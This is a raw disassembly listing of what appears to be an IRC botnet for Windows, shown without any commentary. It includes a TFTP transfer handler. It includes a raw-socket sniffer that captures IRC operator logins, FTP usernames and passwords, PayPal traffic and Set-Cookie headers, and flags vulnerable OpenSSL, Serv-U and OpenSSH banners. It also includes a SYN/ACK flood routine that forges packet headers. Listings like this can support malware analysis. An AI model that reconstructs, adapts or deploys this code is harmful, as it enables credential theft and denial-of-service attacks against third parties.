push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_408EB9
lea eax, [ebp+var_778]
push eax
call sub_41458A
push [ebp+var_168]
call sub_40AB19
add esp, 1Ch
push ebx
call dword_4F1388 ; ExitThread
loc_411438: ; CODE XREF: sub_4112A8+142j
; sub_4112A8+42Bj
mov edi, [ebp+arg_0]
cmp [edi+2A0h], ebx
jz loc_4116DC
mov edi, 80h
lea eax, [ebp+var_D0]
push edi
push ebx
push eax
mov [ebp+var_1C], 5
mov [ebp+var_18], 1388h
mov [ebp+var_878], esi
mov [ebp+var_87C], 1
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_1C]
push eax
push ebx
lea eax, [ebp+var_87C]
push ebx
push eax
push ebx
call dword_4E0888
test eax, eax
jle loc_4116D0
mov al, byte_4E364C
mov ecx, edi
mov [ebp+var_578], al
xor eax, eax
lea edi, [ebp+var_577]
mov [ebp+var_C], 10h
rep stosd
stosw
stosb
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_3C]
push eax
push ebx
lea eax, [ebp+var_D0]
push 80h
push eax
push esi
call dword_4E0878
push [ebp+var_38]
mov [ebp+var_8], eax
call dword_4E0928
push eax
lea eax, [ebp+var_50]
push eax
call sub_41B740
cmp [ebp+var_D0], bl
pop ecx
pop ecx
jnz loc_4116BA
cmp [ebp+var_CF], 1
jnz loc_4115C0
lea eax, [ebp+var_26C]
push eax
call sub_418D00
push ebx
push ebx
push [ebp+var_4]
call sub_41DCC0
push [ebp+var_4]
lea eax, [ebp+var_574]
mov [ebp+var_578], bl
mov [ebp+var_577], 3
push 200h
push 1
push eax
mov [ebp+var_576], bl
mov [ebp+var_575], 1
call sub_41AE60
add esp, 20h
lea ecx, [ebp+var_3C]
mov [ebp+var_8], eax
add eax, 4
push [ebp+var_C]
push ecx
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4E0900
lea eax, [ebp+var_50]
push eax
lea eax, [ebp+var_778]
push offset aTftpTransferSt ; "Tftp transfer started to: %s"
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_D8], ebx
jnz short loc_4115AE
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_408EB9
add esp, 14h
loc_4115AE: ; CODE XREF: sub_4112A8+2E1j
lea eax, [ebp+var_778]
push eax
call sub_41458A
pop ecx
jmp loc_4116D0
; ---------------------------------------------------------------------------
loc_4115C0: ; CODE XREF: sub_4112A8+257j
cmp [ebp+var_CF], 4
jnz loc_4116BA
mov cl, [ebp+var_CD]
mov al, [ebp+var_CE]
cmp cl, 0FFh
mov [ebp+var_578], bl
mov [ebp+var_577], 3
jnz short loc_4115FD
inc al
xor cl, cl
mov [ebp+var_576], al
mov [ebp+var_575], bl
jmp short loc_41160B
; ---------------------------------------------------------------------------
loc_4115FD: ; CODE XREF: sub_4112A8+341j
inc cl
mov [ebp+var_576], al
mov [ebp+var_575], cl
loc_41160B: ; CODE XREF: sub_4112A8+353j
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
mov edi, 200h
shl eax, 9
sub eax, edi
push ebx
push eax
push [ebp+var_4]
call sub_41DCC0
push [ebp+var_4]
lea eax, [ebp+var_574]
push edi
push 1
push eax
call sub_41AE60
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_3C]
mov [ebp+var_8], edi
push [ebp+var_C]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4E0900
cmp edi, ebx
jnz short loc_4116D0
lea eax, [ebp+var_50]
push eax
lea eax, [ebp+var_778]
push offset aTftpTransferCo ; "Tftp transfer complete to: %s"
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_D8], ebx
jnz short loc_4116A5
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_408EB9
add esp, 14h
loc_4116A5: ; CODE XREF: sub_4112A8+3D8j
lea eax, [ebp+var_778]
push eax
call sub_41458A
inc dword_4E33BC
pop ecx
jmp short loc_4116D0
; ---------------------------------------------------------------------------
loc_4116BA: ; CODE XREF: sub_4112A8+24Aj
; sub_4112A8+31Fj
push [ebp+var_C]
lea eax, [ebp+var_3C]
push eax
push ebx
push 9
push offset dword_44C7D8
push esi
call dword_4E0900
loc_4116D0: ; CODE XREF: sub_4112A8+1E9j
; sub_4112A8+313j ...
cmp [ebp+var_8], ebx
jg loc_411438
mov edi, [ebp+arg_0]
loc_4116DC: ; CODE XREF: sub_4112A8+199j
push esi
call dword_4E0934
push [ebp+var_4]
call sub_418D80
dec [ebp+var_164]
cmp [edi+2A0h], ebx
pop ecx
jnz short loc_41170D
push [ebp+var_168]
call sub_40AB19
pop ecx
push ebx
call dword_4F1388 ; ExitThread
loc_41170D: ; CODE XREF: sub_4112A8+450j
push 3E8h
call dword_4F1334 ; Sleep
push edi
loc_411719: ; CODE XREF: sub_4112A8+125j
call sub_4112A8
pop edi
pop esi
pop ebx
leave
retn 4
sub_4112A8 endp
; =============== S U B R O U T I N E =======================================
sub_411725 proc near ; CODE XREF: sub_411A34+213p
; sub_411A34+239p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4E3650, eax
mov eax, offset dword_4E3650
retn
sub_411725 endp
; =============== S U B R O U T I N E =======================================
sub_411734 proc near ; CODE XREF: sub_411A34+2BFp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset dword_44C7E4
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jz short loc_41174E
loc_41174A: ; CODE XREF: sub_411734+29j
; sub_411734+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41174E: ; CODE XREF: sub_411734+14j
push offset aDd ; "#dd"
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_41174A
push offset dword_44C7F0
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_41174A
push offset dword_44C7FC
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_41174A
push offset dword_44C808
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jz short loc_411796
loc_411792: ; CODE XREF: sub_411734+71j
; sub_411734+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_411796: ; CODE XREF: sub_411734+5Cj
push offset dword_44C810
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_411792
push offset dword_44C818
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_411792
push offset dword_44C820
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_411792
push offset dword_44C828
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_411792
push offset dword_44C830
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_411792
push offset dword_44C838
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_411792
push offset dword_44C840
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_411792
push offset dword_44C848
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz loc_411792
push offset dword_44C850
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz loc_411792
push offset dword_44C85C
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_411734 endp
; =============== S U B R O U T I N E =======================================
sub_41184B proc near ; CODE XREF: sub_411A34+2F8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset dword_44C868
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jz short loc_411865
loc_411861: ; CODE XREF: sub_41184B+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_411865: ; CODE XREF: sub_41184B+14j
push offset aDd ; "#dd"
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_411861
push offset dword_44C874
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jz short loc_41188B
loc_411887: ; CODE XREF: sub_41184B+4Fj
; sub_41184B+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41188B: ; CODE XREF: sub_41184B+3Aj
push offset dword_44C87C
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_411887
push offset dword_44C884
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_411887
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_41184B endp
; =============== S U B R O U T I N E =======================================
sub_4118C1 proc near ; CODE XREF: sub_411A34+32Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jz short loc_4118DB
loc_4118D7: ; CODE XREF: sub_4118C1+29j
; sub_4118C1+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4118DB: ; CODE XREF: sub_4118C1+14j
push offset aDd ; "#dd"
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_4118D7
push offset aNick_2 ; "NICK "
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_4118D7
push offset a220 ; "220 "
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jz short loc_411912
loc_41190E: ; CODE XREF: sub_4118C1+60j
; sub_4118C1+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_411912: ; CODE XREF: sub_4118C1+4Bj
push offset a230 ; "230 "
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_41190E
push offset aUser_1 ; "USER "
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_41190E
push offset aPass_0 ; "PASS "
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4118C1 endp
; =============== S U B R O U T I N E =======================================
sub_411948 proc near ; CODE XREF: sub_411A34+35Fp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jz short loc_411962
loc_41195E: ; CODE XREF: sub_411948+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_411962: ; CODE XREF: sub_411948+14j
push offset aDd ; "#dd"
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_41195E
push offset aPaypal ; "paypal"
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jz short loc_411988
loc_411984: ; CODE XREF: sub_411948+4Fj
; sub_411948+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_411988: ; CODE XREF: sub_411948+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_411984
push offset aPaypal_com ; "PAYPAL.COM"
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_411984
push offset aPaypal_com_0 ; "paypal.com"
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_411984
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_411948 endp
; =============== S U B R O U T I N E =======================================
sub_4119CF proc near ; CODE XREF: sub_411A34:loc_411DF9p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jz short loc_4119E9
loc_4119E5: ; CODE XREF: sub_4119CF+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4119E9: ; CODE XREF: sub_4119CF+14j
push offset aDd ; "#dd"
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_4119E5
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jz short loc_411A0F
loc_411A0B: ; CODE XREF: sub_4119CF+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_411A0F: ; CODE XREF: sub_4119CF+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
jnz short loc_411A0B
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41B890
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4119CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411A34 proc near ; DATA XREF: sub_401CC1+3B76o
var_113B8 = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
var_1138C = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
var_2B8 = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41BC60
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_3B7]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4E08B4
lea eax, [ebp+var_3B8]
push eax
call dword_4E0920
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_8]
push eax
call near ptr sub_41C8D0
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_4E091C
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_411ADA
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_411ADA: ; CODE XREF: sub_411A34+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4E08CC
cmp eax, 0FFFFFFFFh
jnz short loc_411B50
call dword_4E083C
push eax
lea eax, [ebp+var_2B8]
push offset unk_44C958
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_411B2C
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_408EB9
add esp, 14h
loc_411B2C: ; CODE XREF: sub_411A34+D6j
lea eax, [ebp+var_2B8]
push eax
call sub_41458A
pop ecx
push edi
call dword_4E0934
push [ebp+var_34]
call sub_40AB19
pop ecx
push ebx
call dword_4F1388 ; ExitThread
loc_411B50: ; CODE XREF: sub_411A34+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_4E0850
cmp eax, 0FFFFFFFFh
jnz short loc_411BD6
call dword_4E083C
push eax
lea eax, [ebp+var_2B8]
push offset unk_44C984
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_411BB2
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_408EB9
add esp, 14h
loc_411BB2: ; CODE XREF: sub_411A34+15Cj
lea eax, [ebp+var_2B8]
push eax
call sub_41458A
pop ecx
push edi
call dword_4E0934
push [ebp+var_34]
call sub_40AB19
pop ecx
push ebx
call dword_4F1388 ; ExitThread
loc_411BD6: ; CODE XREF: sub_411A34+13Cj
mov esi, 200h
loc_411BDB: ; CODE XREF: sub_411A34+1D6j
; sub_411A34+1FBj ...
mov edi, 0FFFFh
lea eax, [ebp+var_113B8]
push edi
push ebx
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_113B8]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4E08B8
cmp [ebp+var_113AF], 6
jnz short loc_411BDB
push [ebp+var_113A4]
mov edi, dword_4F14D0
call edi ; htons
push [ebp+var_113A4+2]
movzx eax, ax
mov [ebp+arg_0], eax
call edi ; htons
cmp [ebp+arg_0], 6Eh
movzx edi, ax
jz short loc_411BDB
cmp [ebp+arg_0], 19h
jz short loc_411BDB
cmp edi, 6Eh
jz short loc_411BDB
cmp edi, 19h
jz short loc_411BDB
push [ebp+var_113AC]
call sub_411725
pop ecx
push dword ptr [eax]
call dword_4F14D4 ; inet_ntoa
push eax
lea eax, [ebp+var_13B8]
push offset aS_32 ; "%s"
push eax
call sub_41B740
push [ebp+var_113A8]
call sub_411725
add esp, 10h
push dword ptr [eax]
call dword_4F14D4 ; inet_ntoa
push eax
lea eax, [ebp+var_BB8]
push offset aS_33 ; "%s"
push eax
call sub_41B740
lea eax, [ebp+var_1138C]
mov [ebp+var_4], ebx
push eax
call sub_418D00
add esp, 10h
test eax, eax
jle short loc_411CD9
loc_411CA5: ; CODE XREF: sub_411A34+2A3j
mov eax, [ebp+var_4]
cmp [ebp+eax+var_1138C], 0Dh
lea eax, [ebp+eax+var_1138C]
jnz short loc_411CBC
mov byte ptr [eax], 20h
loc_411CBC: ; CODE XREF: sub_411A34+283j
cmp byte ptr [eax], 0Ah
jnz short loc_411CC4
mov byte ptr [eax], 20h
loc_411CC4: ; CODE XREF: sub_411A34+28Bj
inc [ebp+var_4]
lea eax, [ebp+var_1138C]
push eax
call sub_418D00
cmp [ebp+var_4], eax
pop ecx
jl short loc_411CA5
loc_411CD9: ; CODE XREF: sub_411A34+26Fj
cmp [ebp+arg_0], 50h
jz loc_411D8C
cmp edi, 50h
jz loc_411D8C
lea eax, [ebp+var_1138C]
push eax
call sub_411734
test al, al
pop ecx
jz short loc_411D20
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_44C9BC
jmp loc_411DBB
; ---------------------------------------------------------------------------
loc_411D20: ; CODE XREF: sub_411A34+2C7j
cmp edi, 50h
jz short loc_411D8C
lea eax, [ebp+var_1138C]
push eax
call sub_41184B
test al, al
pop ecx
jz short loc_411D56
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_44C9F0
jmp short loc_411DBB
; ---------------------------------------------------------------------------
loc_411D56: ; CODE XREF: sub_411A34+300j
cmp edi, 50h
jz short loc_411D8C
lea eax, [ebp+var_1138C]
push eax
call sub_4118C1
test al, al
pop ecx
jz short loc_411D8C
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_44CA24
jmp short loc_411DBB
; ---------------------------------------------------------------------------
loc_411D8C: ; CODE XREF: sub_411A34+2A9j
; sub_411A34+2B2j ...
lea eax, [ebp+var_1138C]
push eax
call sub_411948
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_411DF9
lea eax, [ebp+var_BB8]
push edi
push eax
lea eax, [ebp+var_13B8]
push [ebp+arg_0]
push eax
push offset unk_44CA58
loc_411DBB: ; CODE XREF: sub_411A34+2E7j
; sub_411A34+320j ...
lea eax, [ebp+var_2B8]
push esi
push eax
call sub_41B910
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_411BDB
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_408EB9
add esp, 14h
jmp loc_411BDB
; ---------------------------------------------------------------------------
loc_411DF9: ; CODE XREF: sub_411A34+36Ej
call sub_4119CF
test al, al
pop ecx
jz loc_411BDB
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_44CA90
jmp short loc_411DBB
sub_411A34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411E27 proc near ; DATA XREF: sub_401CC1+5CF9o
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call dword_4F1364 ; GetTickCount
push eax
call sub_41B840
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_412210
push eax
lea eax, [ebp+var_494]
push offset unk_44CAC8
push eax
call sub_41B740
xor esi, esi
add esp, 20h
cmp [ebp+var_8], esi
jnz short loc_411EB7
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_408EB9
add esp, 14h
loc_411EB7: ; CODE XREF: sub_411E27+6Ej
lea eax, [ebp+var_494]
push eax
call sub_41458A
push [ebp+var_290]
call sub_40AB19
pop ecx
pop ecx
push esi
call dword_4F1388 ; ExitThread
pop edi
pop esi
sub_411E27 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411ED9 proc near ; CODE XREF: sub_412210+40p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4E081C
test eax, eax
jz short loc_411F19
xor eax, eax
jmp loc_41220C
; ---------------------------------------------------------------------------
loc_411F19: ; CODE XREF: sub_411ED9+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4E0940
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_412204
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4E0880
cmp eax, 0FFFFFFFFh
jz loc_4121FA
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4E08A0
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4E08A0
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4E08A0
mov [ebp+var_12], ax
call sub_41B850
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4E08A0
push 12345678h
mov [ebp+var_14], ax
call dword_4E089C
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_411FE9
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_41203D
; ---------------------------------------------------------------------------
loc_411FE9: ; CODE XREF: sub_411ED9+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_412005
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_41203D
; ---------------------------------------------------------------------------
loc_412005: ; CODE XREF: sub_411ED9+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_41203D
call sub_41B850
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41B850
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_41203D: ; CODE XREF: sub_411ED9+10Ej
; sub_411ED9+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4E08A0
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
call dword_4F12BC ; QueryPerformanceFrequency
lea eax, [ebp+var_1C]
push eax
call dword_4F13EC ; QueryPerformanceCounter
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_41DE60
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_41208B: ; CODE XREF: sub_411ED9+2E2j
; sub_411ED9+2F0j
mov [ebp+var_4], bx
call sub_41B850
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4E08A0
mov [ebp+var_14], ax
call sub_41B850
mov edi, eax
shl edi, 10h
call sub_41B850
or edi, eax
push edi
call dword_4E08A0
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4E089C
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4E08A0
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41C8D0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call near ptr sub_41C8D0
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40A072
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41C8D0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call near ptr sub_41C8D0
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41B190
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40A072
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41C8D0
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4E0900
cmp eax, 0FFFFFFFFh
jz short loc_4121CE
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
call dword_4F13EC ; QueryPerformanceCounter
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4121F7
jl loc_41208B
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_4121F7
jmp loc_41208B
; ---------------------------------------------------------------------------
loc_4121CE: ; CODE XREF: sub_411ED9+2CBj
call dword_4E083C
push eax
lea eax, [ebp+var_F4]
push offset dword_44CB14
push eax
call sub_41B740
lea eax, [ebp+var_F4]
push eax
call sub_41458A
add esp, 10h
jmp short loc_4121FA
; ---------------------------------------------------------------------------
loc_4121F7: ; CODE XREF: sub_411ED9+2E0j
; sub_411ED9+2EEj
mov ebx, [ebp+arg_8]
loc_4121FA: ; CODE XREF: sub_411ED9+78j
; sub_411ED9+31Cj
push [ebp+var_20]
call dword_4E0934
pop esi
loc_412204: ; CODE XREF: sub_411ED9+5Bj
call dword_4E0804
mov eax, ebx
